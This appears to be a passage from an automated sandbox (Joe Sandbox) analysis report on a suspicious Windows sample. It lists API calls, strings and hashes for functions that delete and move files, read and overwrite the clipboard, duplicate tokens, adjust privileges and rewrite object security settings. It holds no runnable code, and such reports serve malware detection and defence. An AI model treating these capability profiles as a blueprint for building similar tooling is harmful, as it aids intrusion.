MapVirtualKeyW.USER32(00000012,00000000), ref: 0039443C
keybd_event.USER32(00000012,00000000), ref: 00394441
SetForegroundWindow.USER32(000000FF), ref: 00394444
AttachThreadInput.USER32(000000FF,?,00000000), ref: 0039446B

Strings

Shell_TrayWnd, xrefs: 00394383

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
String ID: Shell_TrayWnd
API String ID: 4125248594-2988720461
Opcode ID: af3f372210142aec6a6222e4832e90cf99e01290c04fbfc04da0c47f12f9977b
Instruction ID: dc1ba3744c1da6bf8edef0a2dc35177e64e2769a339bc32f16765b705b8f1adf
Opcode Fuzzy Hash: af3f372210142aec6a6222e4832e90cf99e01290c04fbfc04da0c47f12f9977b
Instruction Fuzzy Hash: FE318671A40318BFEF226B759C89FBF3E6CEB46B54F114025FA05EA1D0D6B15D01AEA0

Function 00366B3F Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 164filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 003231B8: GetFullPathNameW.KERNEL32(00000000,00000104,?,?), ref: 003231DA

Part of subcall function 00367B9F: __wsplitpath.LIBCMT ref: 00367BBC
Part of subcall function 00367B9F: __wsplitpath.LIBCMT ref: 00367BCF

Part of subcall function 00367C0C: GetFileAttributesW.KERNEL32(?,00366A7B), ref: 00367C0D

_wcscat.LIBCMT ref: 00366B9D
_wcscat.LIBCMT ref: 00366BBB
__wsplitpath.LIBCMT ref: 00366BE2
FindFirstFileW.KERNEL32(?,?), ref: 00366BF8
_wcscpy.LIBCMT ref: 00366C57
_wcscat.LIBCMT ref: 00366C6A
_wcscat.LIBCMT ref: 00366C7D
lstrcmpiW.KERNEL32(?,?), ref: 00366CAB
DeleteFileW.KERNEL32(?), ref: 00366CBC
MoveFileW.KERNEL32(?,?), ref: 00366CDB
MoveFileW.KERNEL32(?,?), ref: 00366CEA
CopyFileW.KERNEL32(?,?,00000000), ref: 00366CFF
DeleteFileW.KERNEL32(?), ref: 00366D10
FindNextFileW.KERNEL32(00000000,00000010), ref: 00366D37
FindClose.KERNEL32(00000000), ref: 00366D53
FindClose.KERNEL32(00000000), ref: 00366D61

Strings

\*.*, xrefs: 00366B8C, 00366B9B, 00366BB9

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: File$Find_wcscat$__wsplitpath$CloseDeleteMove$AttributesCopyFirstFullNameNextPath_wcscpylstrcmpi
String ID: \*.*
API String ID: 1867810238-1173974218
Opcode ID: b3de98d80e50c9d0e896824f823a3486f5083da6449cd25fd654d1178e76f314
Instruction ID: aa27d47d25db677051d8301b872903491389b8738943d7420797570138e2ce7a
Opcode Fuzzy Hash: b3de98d80e50c9d0e896824f823a3486f5083da6449cd25fd654d1178e76f314
Instruction Fuzzy Hash: 4051537290415CAADF22EBA0DC85EDE77BCAF09344F4485D6E54AE7041DB319B88CF61

Function 00377099 Relevance: 30.2, APIs: 20, Instructions: 167clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(003BDBF0), ref: 003770C3
IsClipboardFormatAvailable.USER32(0000000D), ref: 003770D1
GetClipboardData.USER32(0000000D), ref: 003770D9
CloseClipboard.USER32 ref: 003770E5
GlobalLock.KERNEL32(00000000), ref: 00377101
CloseClipboard.USER32 ref: 0037710B
GlobalUnlock.KERNEL32(00000000), ref: 00377120
IsClipboardFormatAvailable.USER32(00000001), ref: 0037712D
GetClipboardData.USER32(00000001), ref: 00377135
GlobalLock.KERNEL32(00000000), ref: 00377142
GlobalUnlock.KERNEL32(00000000), ref: 00377176
CloseClipboard.USER32 ref: 00377283

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Clipboard$Global$Close$AvailableDataFormatLockUnlock$Open
String ID:
API String ID: 3222323430-0
Opcode ID: 1acdf0e7a745ed3c87c6f589a04de7c5bbe89c4f861c188344ca52ecafe7eca9
Instruction ID: 921f15950cff6a84330da559c2ce62d3d88b33b57d26490aa22fb3a12f6ff01a
Opcode Fuzzy Hash: 1acdf0e7a745ed3c87c6f589a04de7c5bbe89c4f861c188344ca52ecafe7eca9
Instruction Fuzzy Hash: 5A51B4312082016BD323EF60DC49F6E77ACAB85B00F418519F55AD65E1DF74D904DB62

Function 0035B9F1 Relevance: 30.0, APIs: 14, Strings: 3, Instructions: 223COMMON

Download Yara Rule

APIs

Part of subcall function 0035BEC3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 0035BF0F
Part of subcall function 0035BEC3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 0035BF3C
Part of subcall function 0035BEC3: GetLastError.KERNEL32 ref: 0035BF49

_memset.LIBCMT ref: 0035BA34
DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?,?,?,?,00000001,?,?), ref: 0035BA86
CloseHandle.KERNEL32(?), ref: 0035BA97
OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 0035BAAE
GetProcessWindowStation.USER32 ref: 0035BAC7
SetProcessWindowStation.USER32(00000000), ref: 0035BAD1
OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 0035BAEB

Part of subcall function 0035B8B0: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,00000000,00000000,00000000), ref: 0035B8C5
Part of subcall function 0035B8B0: CloseHandle.KERNEL32(?), ref: 0035B8D7

Strings

winsta0, xrefs: 0035BAA9
default, xrefs: 0035BAE6
, xrefs: 0035BA43

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLookupPrivilegeValue_memset
String ID: $default$winsta0
API String ID: 2063423040-1027155976
Opcode ID: ede637b385c090d40f7ebc795c6dc81ab59e5341abff7f69e300997fcba7b3a9
Instruction ID: 0163bcc80e147f12d572ad29d6e661fc04d6ce2931b5122a4281d0c054a136a4
Opcode Fuzzy Hash: ede637b385c090d40f7ebc795c6dc81ab59e5341abff7f69e300997fcba7b3a9
Instruction Fuzzy Hash: 70815571800208AFDF129FA4CD85EEEBBBCEF09305F154119FD55AA171DB318E199B20

Function 00372044 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 118fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,76F88FB0,?,00000000), ref: 00372065
_wcscmp.LIBCMT ref: 0037207A
_wcscmp.LIBCMT ref: 00372091
GetFileAttributesW.KERNEL32(?), ref: 003720A3
SetFileAttributesW.KERNEL32(?,?), ref: 003720BD
FindNextFileW.KERNEL32(00000000,?), ref: 003720D5
FindClose.KERNEL32(00000000), ref: 003720E0
FindFirstFileW.KERNEL32(*.*,?), ref: 003720FC
_wcscmp.LIBCMT ref: 00372123
_wcscmp.LIBCMT ref: 0037213A
SetCurrentDirectoryW.KERNEL32(?), ref: 0037214C
SetCurrentDirectoryW.KERNEL32(003D3A68), ref: 0037216A
FindNextFileW.KERNEL32(00000000,00000010), ref: 00372174
FindClose.KERNEL32(00000000), ref: 00372181
FindClose.KERNEL32(00000000), ref: 00372191

Strings

*.*, xrefs: 003720F7

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1803514871-438819550
Opcode ID: 039ddc718b93cf15d694a262b3a8bce1acce91ec6e97a8dce557019c3d6305b1
Instruction ID: 561c8c3281442d044e1733762b80232a29660c950dff40eee504f7a5dab7f9ae
Opcode Fuzzy Hash: 039ddc718b93cf15d694a262b3a8bce1acce91ec6e97a8dce557019c3d6305b1
Instruction Fuzzy Hash: 9131A4326002197ADF22DBA4EC48EDF77ACAF0A360F508556F915E7190DB78DE44CB61

Function 0038F122 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 178windowfilenativeCOMMON

Download Yara Rule

APIs

Part of subcall function 0033AF7D: GetWindowLongW.USER32(?,000000EB), ref: 0033AF8E

DragQueryPoint.SHELL32(?,?), ref: 0038F14B

Part of subcall function 0038D5EE: ClientToScreen.USER32(?,?), ref: 0038D617
Part of subcall function 0038D5EE: GetWindowRect.USER32(?,?), ref: 0038D68D
Part of subcall function 0038D5EE: PtInRect.USER32(?,?,0038EB2C), ref: 0038D69D

SendMessageW.USER32(?,000000B0,?,?), ref: 0038F1B4
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 0038F1BF
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 0038F1E2
_wcscat.LIBCMT ref: 0038F212
SendMessageW.USER32(?,000000C2,00000001,?), ref: 0038F229
SendMessageW.USER32(?,000000B0,?,?), ref: 0038F242
SendMessageW.USER32(?,000000B1,?,?), ref: 0038F259
SendMessageW.USER32(?,000000B1,?,?), ref: 0038F27B
DragFinish.SHELL32(?), ref: 0038F282
NtdllDialogWndProc_W.NTDLL(?,00000233,?,00000000,?,?,?), ref: 0038F36D

Strings

@GUI_DRAGID, xrefs: 0038F2E1
@GUI_DRAGFILE, xrefs: 0038F31C
@U=u, xrefs: 0038F1B4, 0038F229, 0038F242, 0038F259, 0038F27B
@GUI_DROPID, xrefs: 0038F2A2

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientDialogFinishLongNtdllPointProc_Screen_wcscat
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID$@U=u
API String ID: 2166380349-762882726
Opcode ID: c1ea451c264641c5a39c8329f8424fd9bca7a42f2d9e9129b04485c85cbb5807
Instruction ID: 52cff6a467532f472abb21251f4fa1d0d60e571b4fdd50ec01e1949955fc1002
Opcode Fuzzy Hash: c1ea451c264641c5a39c8329f8424fd9bca7a42f2d9e9129b04485c85cbb5807
Instruction Fuzzy Hash: AC614972508300AFC712EF64EC85D9FBBF8BF89710F400A2EF595961A1DB709A05CB62

Function 0037219F Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 111fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,76F88FB0,?,00000000), ref: 003721C0
_wcscmp.LIBCMT ref: 003721D5
_wcscmp.LIBCMT ref: 003721EC

Part of subcall function 00367606: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 00367621

FindNextFileW.KERNEL32(00000000,?), ref: 0037221B
FindClose.KERNEL32(00000000), ref: 00372226
FindFirstFileW.KERNEL32(*.*,?), ref: 00372242
_wcscmp.LIBCMT ref: 00372269
_wcscmp.LIBCMT ref: 00372280
SetCurrentDirectoryW.KERNEL32(?), ref: 00372292
SetCurrentDirectoryW.KERNEL32(003D3A68), ref: 003722B0
FindNextFileW.KERNEL32(00000000,00000010), ref: 003722BA
FindClose.KERNEL32(00000000), ref: 003722C7
FindClose.KERNEL32(00000000), ref: 003722D7

Strings

*.*, xrefs: 0037223D

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 1824444939-438819550
Opcode ID: ae5438af081b438936413e4c76a3bcfb87b5ed70fe89acca1e7d3cd38ae641ee
Instruction ID: 1d9f1f842a60f3905baa200fa5ef33d20104bf5b24e9ed653cb78b02bb518022
Opcode Fuzzy Hash: ae5438af081b438936413e4c76a3bcfb87b5ed70fe89acca1e7d3cd38ae641ee
Instruction Fuzzy Hash: 2C31F6326002196ACF62DBA4EC48EDF73AC9F05320F118956F915A6191E774DE85CB64

Function 00326BBC Relevance: 21.9, APIs: 5, Strings: 7, Instructions: 891COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00326C22
_memmove.LIBCMT ref: 00326D9A

Strings

], xrefs: 00326C04
Q\E, xrefs: 00327548
\, xrefs: 003A0A25
^, xrefs: 00326BFB
[, xrefs: 00326C82
\, xrefs: 00326C8B
\, xrefs: 00326BEE

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: _memmove_memset
String ID: Q\E$[$\$\$\$]$^
API String ID: 3555123492-286096704
Opcode ID: 70b7766c1bbcc6aff966500a5613486cf16e44e3b6e41af702cfa1936e9302c5
Instruction ID: 3350efd3538741c3cb9d375e53c716eaaf0d5a5f8e091493b4a9efb024d264d9
Opcode Fuzzy Hash: 70b7766c1bbcc6aff966500a5613486cf16e44e3b6e41af702cfa1936e9302c5
Instruction Fuzzy Hash: B272DE71D04229CFDF2ACF98C9816ADB7B1FF45314F2581A9D855AB381E334AE81DB90

Function 0038ECBC Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 229windownativeCOMMON

Download Yara Rule

APIs

Part of subcall function 0033AF7D: GetWindowLongW.USER32(?,000000EB), ref: 0033AF8E

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 0038ED0C
GetFocus.USER32 ref: 0038ED1C
GetDlgCtrlID.USER32(00000000), ref: 0038ED27
_memset.LIBCMT ref: 0038EE52
GetMenuItemInfoW.USER32 ref: 0038EE7D
GetMenuItemCount.USER32(00000000), ref: 0038EE9D
GetMenuItemID.USER32(?,00000000), ref: 0038EEB0
GetMenuItemInfoW.USER32(00000000,-00000001,00000001,?), ref: 0038EEE4
GetMenuItemInfoW.USER32(00000000,?,00000001,?), ref: 0038EF2C
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 0038EF64
NtdllDialogWndProc_W.NTDLL(?,00000111,?,?,?,?,?,?,?), ref: 0038EF99

Strings

0, xrefs: 0038EE4A

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountCtrlDialogFocusLongMessageNtdllPostProc_RadioWindow_memset
String ID: 0
API String ID: 3616455698-4108050209
Opcode ID: 93345fbcf1d016b20020d4814328e98b313b3ada265785b511973b9ec1c0c6ed
Instruction ID: 0ced3a7ab226742315f211e00edfdb737c69724e49c6f7a44ac9ebf2dc3b1859
Opcode Fuzzy Hash: 93345fbcf1d016b20020d4814328e98b313b3ada265785b511973b9ec1c0c6ed
Instruction Fuzzy Hash: 3F81C371608311AFD712EF14C884AAFBBE8FF89354F0109ADFA959B291D730E905CB52

Function 0035B398 Relevance: 21.2, APIs: 14, Instructions: 178memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0035B8E7: GetUserObjectSecurity.USER32(?,?,?,00000000,?), ref: 0035B903
Part of subcall function 0035B8E7: GetLastError.KERNEL32(?,0035B3CB,?,?,?), ref: 0035B90D
Part of subcall function 0035B8E7: GetProcessHeap.KERNEL32(00000008,?,?,0035B3CB,?,?,?), ref: 0035B91C
Part of subcall function 0035B8E7: RtlAllocateHeap.NTDLL(00000000,?,0035B3CB), ref: 0035B923
Part of subcall function 0035B8E7: GetUserObjectSecurity.USER32(?,?,00000000,?,?), ref: 0035B93A

Part of subcall function 0035B982: GetProcessHeap.KERNEL32(00000008,0035B3E1,00000000,00000000,?,0035B3E1,?), ref: 0035B98E
Part of subcall function 0035B982: RtlAllocateHeap.NTDLL(00000000,?,0035B3E1), ref: 0035B995
Part of subcall function 0035B982: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,0035B3E1,?), ref: 0035B9A6

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 0035B3FC
_memset.LIBCMT ref: 0035B411
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 0035B430
GetLengthSid.ADVAPI32(?), ref: 0035B441
GetAce.ADVAPI32(?,00000000,?), ref: 0035B47E
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 0035B49A
GetLengthSid.ADVAPI32(?), ref: 0035B4B7
GetProcessHeap.KERNEL32(00000008,-00000008), ref: 0035B4C6
RtlAllocateHeap.NTDLL(00000000), ref: 0035B4CD
GetLengthSid.ADVAPI32(?,00000008,?), ref: 0035B4EE
CopySid.ADVAPI32(00000000), ref: 0035B4F5
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 0035B526
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 0035B54C
SetUserObjectSecurity.USER32(?,00000004,?), ref: 0035B560

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: HeapSecurity$AllocateDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
String ID:
API String ID: 2347767575-0
Opcode ID: ac10b8f56165ac3c2978533750005b98a33ea324b39f66bf42052fdb716094b0
Instruction ID: 240b5a2c92c9a34b4deceeceb836068e980b1bc67ee2f88e4e659ece47ced76e
Opcode Fuzzy Hash: ac10b8f56165ac3c2978533750005b98a33ea324b39f66bf42052fdb716094b0
Instruction Fuzzy Hash: 39515D71900209AFDF16DFA5DC45EEEBB79FF05301F048519F916AB2A1D7349A09CB60

Function 00366E4A Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 85fileCOMMON

Download Yara Rule

APIs

Part of subcall function 003231B8: GetFullPathNameW.KERNEL32(00000000,00000104,?,?), ref: 003231DA

Part of subcall function 00367C0C: GetFileAttributesW.KERNEL32(?,00366A7B), ref: 00367C0D

_wcscat.LIBCMT ref: 00366E7E
__wsplitpath.LIBCMT ref: 00366E99
FindFirstFileW.KERNEL32(?,?), ref: 00366EAE
_wcscpy.LIBCMT ref: 00366EDD
_wcscat.LIBCMT ref: 00366EEF
_wcscat.LIBCMT ref: 00366F01
DeleteFileW.KERNEL32(?), ref: 00366F0E
FindNextFileW.KERNEL32(00000000,00000010), ref: 00366F22
FindClose.KERNEL32(00000000), ref: 00366F3D

Strings

\*.*, xrefs: 00366E78

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: File$Find_wcscat$AttributesCloseDeleteFirstFullNameNextPath__wsplitpath_wcscpy
String ID: \*.*
API String ID: 2643075503-1173974218
Opcode ID: 2d63cb01f6baaa611831e3950f429881435efcc5a9201897da430640c7804e48
Instruction ID: ae26a58a43db22c1c7ee487d28f309580b04da532338fa29214990f48c878ca4
Opcode Fuzzy Hash: 2d63cb01f6baaa611831e3950f429881435efcc5a9201897da430640c7804e48
Instruction Fuzzy Hash: 5E21C172408344AAC612EBA0D8859DBBBDCAF99354F448E1AF5D5C7042EB31E64D87A2

Function 00377294 Relevance: 15.1, APIs: 10, Instructions: 83clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 003772BB
EmptyClipboard.USER32 ref: 003772C1
GlobalAlloc.KERNEL32(00000002,?), ref: 003772D6
CloseClipboard.USER32 ref: 00377375

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: 97a8c810ec6a0cfff13533146d5e029576a0c1ce998f9ec01f7487a66266c399
Instruction ID: 65cc95186e040cb49ea7511ca67654a138392d02f722d734071f35f0caf59d99
Opcode Fuzzy Hash: 97a8c810ec6a0cfff13533146d5e029576a0c1ce998f9ec01f7487a66266c399
Instruction Fuzzy Hash: 09219F35704210AFEB22AF24DC59B6E7BACEF45710F00801AF94A9B2A1DB35ED419B90

